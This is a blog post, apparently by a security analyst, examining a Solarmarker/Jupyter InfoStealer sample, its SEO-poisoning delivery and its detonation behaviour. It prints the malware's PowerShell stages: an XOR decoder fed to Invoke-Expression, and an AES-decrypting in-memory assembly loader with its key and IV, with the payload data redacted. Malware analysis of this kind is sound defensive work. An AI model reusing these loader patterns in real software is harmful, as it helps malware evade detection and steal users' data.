Playing around with Solarmarker/Jupyter InfoStealer

December 3, 2023

Jupyter InfoStealer is fairly common these days. We certainly see a lot of users downloading it in various forms. It’s typically spread through Search Engine Optimization (SEO) poisoning, convincing users that they’re downloading some legitimate software. Often, we see it masquerading as PDFs or other files as well. It’s pretty common to see it deploy a decoy file that pretends to be whatever the user was looking for. Sometimes, this is even the correct file! (As far as I can tell, people are looking for weird things lol)

What we see happen in most cases is that the malware launches a PowerShell instance after running and passes a command such as this (redacted & cleaned) example. The DAT file is created when the original executable runs. It’s decoded using a bitwise XOR operation to create a new PowerShell script for execution.

PowerShell
Invoke-Expression([text.encoding]::utf8.getstring((({
  $f=[io.file]::readallbytes($args[0])
  Remove-Item $args[0]
  return $f
}.invoke(
  'c:\users\<user>\appdata\local\temp\1\is-1a37m.tmp\..\73b12124f9bf24197d22d0f93035adec.dat')) |
  % {$_ -bxor 'qmdvtzfkisaihxawdlnhjuxgrjuyczek' [$k++%32]})))

And… that’s typically where we come in and squash it. It’s not a particularly advanced piece of malware as far as detections go, so we usually catch it fairly quickly. However, I thought it would be fun to get my hands on a sample of the payload itself and play around with it. Thanks to the MalwareBazaar (and user x3ph1) I was able to nab a payload sample.

This sample included a bunch of base 64 encoded data that was removed for readability. Essentially, what this payload is doing is decoding the base 64 data and creating an AES object to decrypt the decoded data. It’s then loading that decrypted data into the domain of the process. You can see more on this in the .Net docs.

PowerShell
Start-Sleep -Seconds 25;
$F=[Convert]::FromBase64String('<code>');
$A=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$A.Key=@([byte]158,194,78,73,107,75,21,101,241,206,120,179,173,60,234,81,116,70,24,44,127,184,108,4,152,165,156,145,148,169,162,235);
$A.IV=@([byte]30,172,100,83,224,115,114,83,67,20,109,101,162,241,201,6);
[Reflection.Assembly]::Load($A.CreateDecryptor().TransformFinalBlock($F,0,$F.Length));
$t=[Math]::Round((Get-Date).ToFileTimeUTC()/10000);
$c=$null;
while(([Math]::Round((Get-Date).ToFileTimeUTC()/1000000000)-$t) -lt 36){
    Start-Sleep -Seconds 35;
    try{
        $c=[jezbeoVbg0MThknAGpZI_ckYWA2WKFDl6t1xMNOSDSW1hQ580kfCH9Lgaea.Osdad3e4u4RHgHJlPMUT3crNesuxJ0AnQeDkAj9pTFRs_RA34puut8cIHr7ZdZK1nD7640qTLupiYy9911]::qJDaumetxm04pRfplF6ebcBFMc0($c);
    }catch{}
};

Thanks to the ever-handy CyberChef, it was pretty easy to pull this data out and actually see what it was loading. Unfortunately, it wasn’t anything particularly interesting. Mostly generic imports and assemblies you’d expect to see in this kind of malware.

There wasn’t a whole lot to mess around with, so I moved straight over to detonating it (that’s the fun part anyway!). This brought on some more interesting observations. Referring back to the documentation for the Assembly Load method in .Net, an assembly can be loaded from what’s called a common object file format (COFF). I’m not going to pretend like I knew what that was before reading the doc page, but from what I understand, it’s a format for executable code. As it turns out, Microsoft has a resource file to COFF object conversion utility (cvtres.exe) that runs when a “.res” file converts to a “.obj” file. These obj files can then be compiled into executable PE files. In this case, when executing the malicious script, it spawned a Visual C# Command Line Compiler process that called cvtres.exe to (probably) convert the code into an obj file format for compilation.

I say probably because I am by no means an expert, just a person who can google with the best of them. That being said, we can also see the commandline property of these processes and see that they follow this example on building and executing C# code in memory. (It might be a little fuzzy, but trust me when I say it’s practically the same)

What we can assume this means, is that part of the loaded assembly is potentially C# code that is compiled and executed in memory. This is likely the actual malware itself. So long as the dropper doesn’t get flagged, it’s unlikely that the stealer itself would get sniffed out.

The sample I had also reached out to several CDNs and in particular to one address already flagged in VirusTotal. However, not much came from those connections. It appears that the address isn’t online anymore. Still, we can see the general exfiltration process that would occur. The compromised host would likely forward data to the C2 over port 80/tcp.

Solarmarker/Jupyter malware is pretty annoying to deal with overall, but it’s also pretty simple to catch in the act. Not much changes between the versions I’ve seen, and most decent solutions should catch that first invocation. It is fun to go through and see how it all comes together though.